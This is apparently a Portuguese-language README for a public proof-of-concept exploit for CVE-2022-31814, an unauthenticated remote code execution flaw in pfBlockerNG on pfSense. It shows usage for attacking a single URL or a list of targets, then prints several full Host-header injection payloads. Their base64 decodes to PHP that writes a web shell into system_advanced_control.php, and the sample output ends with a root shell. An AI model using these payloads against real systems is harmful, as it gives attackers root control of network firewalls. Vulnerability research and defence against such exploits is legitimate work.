arunhatter/cve-2022-31814Este script é um exploit de prova de conceito para pfBlockerNG <= 2.1.4_26 que permite execução remota de código. Ele aceita uma única URL alvo ou uma lista de URLs, tenta enviar um shell usando múltiplos payloads, executa um comando e, em seguida, exclui o shell.
Exploit Atualizado - pfBlockerNG <= 2.1.4_26 RCE não autenticado (CVE-2022-31814)
Este script é um exploit de prova de conceito para pfBlockerNG <= 2.1.4_26 que permite execução remota de código. Ele aceita um único URL alvo ou uma lista de URLs, tenta carregar um shell usando múltiplos payloads, executa um comando e, em seguida, remove o shell.
Este script requer Python 3.x e o módulo request instalado. Você pode instalar estes módulos executando:
pip3 install requests
ou
pip3 install -r requirements.txt
usage: CVE-2022-31814.py [-h] --url url.txt
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
--file file contains multiple domains to exploit
python3 CVE-2022-31814.py --file "urls.txt"
[+] pfBlockerNG is installed
[/] Uploading shell...
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3 -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python2 -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKHBhc3N0aHJ1KCAkX0dFVFsiYyJdKSk7Pz4nO2Z3cml0ZSgkYSwkdCk7ZmNsb3NlKCAkYSk7Pz4='|python -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKHBhc3N0aHJ1KCAkX0dFVFsiYyJdKSk7Pz4nO2Z3cml0ZSgkYSwkdCk7ZmNsb3NlKCAkYSk7Pz4='|python3 -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKHBhc3N0aHJ1KCAkX0dFVFsiYyJdKSk7Pz4nO2Z3cml0ZSgkYSwkdCk7ZmNsb3NlKCAkYSk7Pz4='|python2 -m base64 -d | php; '"}
[+] Testing Payload: {'Host': "' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKHBhc3N0aHJ1KCAkX0dFVFsiYyJdKSk7Pz4nO2Z3cml0ZSgkYSwkdCk7ZmNsb3NlKCAkYSk7Pz4='|python3.8 -m base64 -d | php; '"}
[+] Upload succeeded
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# whoami
root
# ^C[+] Shell deleted